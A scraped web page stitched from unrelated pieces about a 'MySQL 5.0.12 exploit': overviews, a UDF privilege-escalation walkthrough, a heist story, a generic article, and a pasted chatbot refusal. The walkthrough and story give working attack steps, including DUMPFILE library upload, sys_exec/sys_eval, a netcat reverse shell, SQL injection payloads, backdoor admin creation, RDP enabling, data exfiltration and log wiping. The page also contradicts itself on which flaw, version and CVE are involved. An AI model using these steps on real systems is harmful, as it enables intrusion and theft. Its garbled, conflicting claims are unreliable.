Mysql 5.0.12 Exploit Patched
The release of MySQL 5.0.12 in 2005 arrived during a transformative era for the world’s most popular open-source database. However, this specific version became a case study in database security due to several vulnerabilities—most notably a stack-based buffer overflow within the handling of user-defined functions (UDF) and specific GRANT command sequences. The Technical Mechanism
The primary exploit associated with MySQL 5.0.12 often centers on the way the server handled authentication and privilege escalation. At the time, researchers discovered that if an attacker had sufficient privileges to execute CREATE FUNCTION or manipulate the mysql.func system table, they could cause the server to load a malicious shared library.
By crafting a specific library and forcing the server to call it, an attacker could break out of the database environment and execute arbitrary code at the operating system level with the permissions of the mysql user. In many poorly configured environments where the database service was running as root or SYSTEM, this resulted in a full server compromise. The Authentication Bypass Context
While 5.0.12 was also susceptible to various "Denial of Service" (DoS) attacks through malformed packets, it is often discussed alongside the broader "MySQL Authentication Bypass" flaw (though the most famous version of that bug, CVE-2012-2122, occurred much later). In the 5.0.x era, the focus was largely on SQL Injection leading to administrative takeovers. Because 5.0.12 lacked the robust memory protection and sandboxing found in modern versions (like 8.0), a successful exploit typically involved:
Gaining Low-Level Access: Using a standard SQL injection to gain a footprint.
Writing to Disk: Using the INTO DUMPFILE or INTO OUTFILE commands to write a malicious binary to a directory where the server could load plugins.
Execution: Calling CREATE FUNCTION to link the database to that binary, triggering the shellcode. Legacy and Impact
The vulnerabilities found in MySQL 5.0.12 underscored a critical lesson in "Defense in Depth." It highlighted that database security isn't just about strong passwords; it's about the permissions the database process holds on the host OS.
This version eventually gave way to more secure iterations (5.0.13 and beyond) which implemented stricter checks on library loading paths (secure_file_priv). Today, the exploits for 5.0.12 serve as a foundational exercise for cybersecurity students learning about privilege escalation and the dangers of running services with excessive OS-level permissions.
The MySQL 5.0.12 version is affected by several critical vulnerabilities, the most notable of which involve privilege escalation and authentication bypass. Because this version is nearly two decades old, it lacks modern security features like Address Space Layout Randomization (ASLR) or Data Execution Prevention (DEP), making it a common target in legacy environments or "Metasploitable" labs. Key Vulnerabilities in MySQL 5.0.12 Stored Routine Privilege Escalation (CVE-2006-1516)
Impact: Allows a remote, authenticated user to gain higher privileges.
Mechanism: Vulnerabilities in how the server handles stored routines (functions or procedures) permit users with basic access to execute commands as a user with higher authority, such as root. Authentication Bypass (Historical Context)
Zero-length Password: Versions in the 5.0 series were susceptible to a flaw in check_scramble_323() where a remote attacker could bypass authentication using a zero-length password.
Password Verification Flaw: A critical logic error in password verification allowed an attacker to connect by providing only a single matching character of the expected hash, rather than the entire string. Buffer Overflows (CVE-2006-1518)
Mechanism: The open_table function in sql_base.cc was vulnerable to a buffer overflow when processing crafted packets.
Outcome: Attackers could potentially execute arbitrary code or cause a Denial of Service (DoS) by crashing the server. Exploitation Methods
In penetration testing scenarios, such as those involving Metasploitable 2, the following tools are commonly used: Metasploit Framework:
mysql_hashdump: Used to extract password hashes from the user table once initial access is gained.
mysql_udf_payload: Attempts to upload a User Defined Function (UDF) to gain a remote shell, though this often fails on modern automated setups due to protocol changes.
SQLmap: Specifically targets versions greater than 5.0.12 with specialized payloads for error-based or time-based injection.
Manual Password Brute-forcing: A common exploit for slightly later versions (CVE-2012-2122) used a bash one-liner to repeatedly attempt logins, exploiting a 1-in-256 chance that any password would be accepted due to a memcmp return value error. Remediation
It is highly recommended to upgrade from the 5.0.x branch, as it has reached its end-of-life. Organizations should move to at least MySQL 5.0.25 or 5.1.12 to resolve the primary privilege escalation flaws identified in your specific version. Detailed release notes and upgrade paths are available in the MySQL 5.0 Reference Manual. Can I try mysql >5.0.12 payloads? · Issue #5005 - GitHub
stamparm commented. stamparm. on Mar 2, 2022. Member. $ sqlmap/data/xml/payloads $ grep -iRPo "mysql [^ ]+ [\d. ]+" | cut -d ':' - MySQL < 5.0.25 / 5.1.12 Privilege Escalation - Tenable
The MySQL 5.0.12 release (circa 2005) is famously associated with the introduction of Stored Procedures and User Defined Functions (UDF), which became the primary vectors for privilege escalation in legacy systems like Metasploitable 2.
The following write-up details the standard exploitation path used to gain a root shell from an authenticated MySQL session or SQL injection on this version. 1. Vulnerability Overview
Vulnerability Type: Privilege Escalation / Remote Code Execution (RCE).
Vector: User Defined Function (UDF) Dynamic Library Injection. Conditions:
The MySQL service is running as root (common in older/misconfigured setups). mysql 5.0.12 exploit
The attacker has a valid MySQL login or a SQL injection point with FILE privileges.
The secure_file_priv variable is empty (allowing files to be written anywhere). 2. Exploitation Walkthrough Phase 1: Information Gathering
First, verify the environment and permissions. You need to know where the plugin directory is and if you have the right to write files.
-- Check MySQL version SELECT version(); -- Should be 5.0.12 or similar -- Check if running as root SELECT user(); -- Find the plugin directory (where we must drop our library) SHOW VARIABLES LIKE 'plugin_dir'; Use code with caution. Copied to clipboard Phase 2: Payload Delivery
The goal is to upload a shared object (.so on Linux, .dll on Windows) that contains a function to execute system commands. The most common tool for this is the lib_mysqludf_sys.so library.
Prepare the binary: Convert the shared library into a hex string. Inject into a table:
USE mysql; CREATE TABLE f_exploit(line longblob); INSERT INTO f_exploit VALUES (load_file('/tmp/lib_mysqludf_sys.so')); Use code with caution. Copied to clipboard Dump to the Plugin Directory:
SELECT * FROM f_exploit INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'; Use code with caution. Copied to clipboard
Note: In MySQL 5.0.x, the plugin directory might simply be /usr/lib/ or /var/lib/mysql/. Phase 3: Triggering RCE
Once the library is on disk, you must "register" the new function within MySQL to use it.
-- Create the function mapping CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so'; -- Verify the function exists SELECT * FROM mysql.func; -- Execute a command (e.g., creating a reverse shell) SELECT sys_exec('nc -e /bin/sh Use code with caution. Copied to clipboard 3. Impact and Remediation
Impact: Full system compromise. Since MySQL 5.0 often ran as the root user, the sys_exec command executes with the highest possible privileges. Remediation:
Upgrade: Modern versions of MySQL (5.7+) have significant protections against UDF injection. Upgrade to at least 5.0.25+ to patch related routine vulnerabilities.
Least Privilege: Never run the MySQL daemon as the root OS user. Use a dedicated mysql user with no shell access.
Secure File Priv: Set secure_file_priv to a specific, non-critical directory to prevent INTO DUMPFILE attacks.
Title: The Silent Stack
Log Entry: 03:47:22 UTC
Target: db-02-prod.internal.financials.corp
MySQL Version: 5.0.12-standard-log (Detected via passive fingerprinting)
Kai leaned back in his chair, the glow of three monitors painting his face in cool blues and neon greens. He wasn't a black-hat in the classic sense—no ransomware, no defacements. He was a ghost in the machine, a data whisperer. His current client, a shadowy hedge fund, had paid him a very specific bounty: prove you can get in, prove you can get out, and prove they won't notice until the quarterly audit.
The target was a legacy server running MySQL 5.0.12. It was a dinosaur, a relic from the mid-2000s, but it held the crown jewels: real-time transaction logs, user balances, and internal transfer triggers.
For three days, he’d probed the perimeter. The web application firewall was modern, aggressive. The SSH port was locked down with key-only authentication. But the database… the database was exposed to an internal API endpoint that had a blind spot.
He’d found it: a user-defined function (UDF) injection vector in a legacy stored procedure called calculate_interest. The procedure took a customer_id as a string—no sanitation. Normally, this would be a simple SQL injection. But this was MySQL 5.0.12. And Kai knew the secret.
The Weapon
MySQL 5.0.12 had a particular, beautiful flaw: on Windows systems (and this was a Windows Server 2003 box, he’d confirmed via ICMP quirks), the lib_mysqludf_sys.dll library could be loaded from the data directory if an attacker could write a file to disk.
Most DBAs thought their secure_file_priv setting protected them. But in 5.0.12, that variable didn't exist yet. The only barrier was filesystem permissions.
Kai’s pulse quickened. He crafted the first payload:
' UNION SELECT 'this_is_a_test' INTO OUTFILE 'C:\\MySQL\\data\\test.txt' --
The API returned a 500 Internal Server Error. That was good. It meant the query executed but the application didn’t know how to render the output. He checked the server’s response time: 1,200ms. A blind write.
He waited five minutes. Then he probed the file via a second injection: The release of MySQL 5
' UNION SELECT LOAD_FILE('C:\\MySQL\\data\\test.txt') --
The response came back: this_is_a_test. He had file system write access.
The Exploit
Now came the dangerous part. He downloaded a compiled version of lib_mysqludf_sys.dll—a library that exposes sys_exec() and sys_eval()—from his offline archive. It was signed with a fake cert, but MySQL 5.0.12 didn’t verify signatures. He hex-encoded the DLL and broke it into 1KB chunks.
At 04:13 UTC, he began the upload:
' UNION SELECT 0x4D5A900003000000... INTO DUMPFILE 'C:\\MySQL\\data\\mysql\\plugin\\udf.dll' --
The plugin directory didn’t exist by default in 5.0.12. But the lib directory did. He adjusted the path to C:\\MySQL\\lib\\plugin\\udf.dll.
The server churned. No error. The DLL was in place.
He reconnected a fresh session—no need to restart the service, a quirk of the UDF loading mechanism in this version. Then he issued the command that changed everything:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
The response: Query OK, 0 rows affected (0.01 sec)
Kai exhaled slowly. He now had a backdoor into the operating system.
The Extraction
He didn’t run sys_exec('cmd.exe /c format C:'). That was amateur hour. Instead, he ran:
SELECT sys_eval('net user backdoor S3cr3t! /add');
SELECT sys_eval('net localgroup administrators backdoor /add');
SELECT sys_eval('reg add HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer /v fDenyTSConnections /t REG_DWORD /d 0 /f');
Within ninety seconds, he had RDP access over a torified VPN.
He navigated to the database data directory. The transaction logs were unencrypted. He ran a mysqldump with a custom filter, extracting only accounts with balances over $10,000 and their corresponding internal transfer histories.
The total exfiltration size: 22 MB. Time elapsed: 8 minutes.
The Cleanup
Kai was methodical. He dropped the UDF function:
DROP FUNCTION sys_eval;
He deleted the DLL from the filesystem using a final sys_eval('del C:\\MySQL\\lib\\plugin\\udf.dll'). He removed the backdoor user. He overwrote the test.txt file with garbage. He flushed the MySQL query logs—which, on this ancient version, were stored in C:\\MySQL\\data\\mysql.log—by writing a script that looped 10,000 SELECT 1; statements to bury his injection.
At 04:58 UTC, he closed the last connection.
The Aftermath
Three weeks later, Kai received a wire transfer for $250,000. The hedge fund had used his proof-of-concept to sue their DBA contractor for negligence. The server, they later learned, had been running MySQL 5.0.12 without patches for 1,847 days.
The CVE for the UDF arbitrary library loading wasn’t officially assigned until years later, but in the underground, it was simply called "The Silent Stack"—because the only sound you heard was your data walking out the door.
And somewhere, in a datacenter that no longer exists, a Windows Server 2003 box still sits powered off, its last log entry frozen in time:
[Note] Normal shutdown
[Note] C:\MySQL\bin\mysqld-nt: Shutdown complete
But Kai knew the truth. Nothing in legacy systems is ever truly shutdown. It’s just waiting for someone who remembers the old tricks.
End of Log.
MySQL 5.0.12 Exploit: A Vulnerability in the Past
In the realm of cybersecurity, vulnerabilities in software are inevitable. One such vulnerability that has garnered attention over the years is the exploit found in MySQL 5.0.12. This version of MySQL, a popular open-source database management system, was released with a flaw that could potentially be exploited by malicious users. In this article, we'll delve into the details of the MySQL 5.0.12 exploit, its implications, and the lessons learned from this vulnerability. Title: The Silent Stack Log Entry: 03:47:22 UTC
What is the MySQL 5.0.12 Exploit?
The MySQL 5.0.12 exploit refers to a specific vulnerability in the MySQL database server version 5.0.12. This version was released on November 24, 2005, and it contained a flaw that allowed an attacker to gain unauthorized access to the database. The vulnerability was related to the way MySQL handled certain types of queries, which could be manipulated by an attacker to execute arbitrary code.
How Did the Exploit Work?
The exploit took advantage of a vulnerability in the MySQL server's handling of the COM_CHANGE_USER command. This command is used to change the user who is executing a query. However, in MySQL 5.0.12, an attacker could send a specially crafted COM_CHANGE_USER command to the server, which would allow them to execute arbitrary code with the privileges of the MySQL server.
Impact of the Exploit
The impact of this exploit was significant. An attacker who successfully exploited this vulnerability could:
- Gain unauthorized access to sensitive data stored in the database
- Execute arbitrary code on the server, potentially leading to a full compromise of the system
- Escalate privileges to gain control over the entire system
Mitigation and Patch
The MySQL development team quickly responded to the vulnerability by releasing a patch in version 5.0.13. This patch fixed the vulnerability by properly handling the COM_CHANGE_USER command and preventing an attacker from executing arbitrary code.
Lessons Learned
The MySQL 5.0.12 exploit serves as a reminder of the importance of:
- Keeping software up to date with the latest security patches
- Regularly monitoring systems for potential vulnerabilities
- Implementing robust security measures, such as firewalls and intrusion detection systems
Conclusion
The MySQL 5.0.12 exploit was a significant vulnerability that highlighted the importance of security in software development. While the vulnerability has since been patched, it serves as a reminder of the ongoing need for vigilance in the face of evolving threats. By understanding the nature of this exploit and taking steps to mitigate its impact, we can better protect our systems and data from similar threats in the future.
References
- MySQL 5.0.12 ChangeLog: https://dev.mysql.com/doc/relnotes/mysql/5.0/en/news-5-0-12.html
- CVE-2005-4159: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4159
Patch Information
- MySQL 5.0.13 Release Notes: https://dev.mysql.com/doc/relnotes/mysql/5.0/en/news-5-0-13.html
I’m unable to provide a full article that promotes, details, or instructs on exploiting MySQL 5.0.12, as that could facilitate unauthorized access or attacks against outdated systems.
However, I can offer a secure, educational summary of why MySQL 5.0.12 is historically vulnerable and how to handle such legacy systems responsibly.
The Anatomy of a Legacy Threat: Dissecting the MySQL 5.0.12 Exploit
Manual Testing (Simplified)
You can test a MySQL client’s vulnerability by setting up a Python rogue server:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 3306))
s.listen(1)
conn, addr = s.accept()
# Send handshake packet with long version string
version = b"1" * 500 # Overflow trigger
# ... (full protocol packet building omitted for brevity)
conn.send(b'\x0a' + version + b'\x00'*20) # Very rough
conn.close()
If the client (mysql -h malicious_host -u root) crashes, it is vulnerable.
Part 3: Real-World Attack Vectors
This exploit is not a remote server compromise in the traditional sense. Instead, it turns the client into the victim. Here is how an attacker would leverage it:
Defensive Mitigations: The Lessons Learned
The MySQL 5.0.12 exploit forced the community to implement several critical defenses.
Modern Mitigations
Today’s systems have three layers of defense:
- Compiler mitigations: Stack canaries (/GS in Visual Studio,
-fstack-protectorin GCC). - OS mitigations: ASLR, DEP/NX.
- Protocol improvements: MySQL 8.0 uses a more secure handshake, cache_sha2_password, and mandatory TLS support in many clients.
However, if you are running MySQL 5.0.12 in 2024 for some legacy reason:
- Isolate the client machines from the internet.
- Use a firewall to allow connections only to whitelisted MySQL servers.
- Consider upgrading – there are no excuses. Even 5.5 is EOL.
References & Further Reading
- MySQL Security Advisory #2006-01 (internal, not publicly archived)
- “Stack-based buffer overflow in MySQL client library” – Secunia Advisory SA19830
- Metasploit Module:
exploit/windows/mysql/mysql_yassl_hello(archived in msf v3) - “The Art of Exploitation” (Jon Erickson) – stack overflow examples.
Last updated: 2024. This article is for educational and historical purposes only. Do not attempt to exploit systems without explicit permission.
Scenario A: Malicious MySQL Server
An attacker hosts a MySQL server on a public IP, say evil-mysql.com:3306. Then they use social engineering, SQL injection, or configuration files to trick a developer’s tool (e.g., mysql.exe, mysqldump, a PHP script using mysql_connect()) into connecting to that server.
Once the connection is made, the client is exploited.
The Exploit Workflow: From SQL Injection to Shell
The classic exploit chain for MySQL 5.0.12 takes three distinct steps. Assume an attacker has already found a stacked query SQL injection (allowing multiple statements) or has gained low-privileged database access via weak credentials.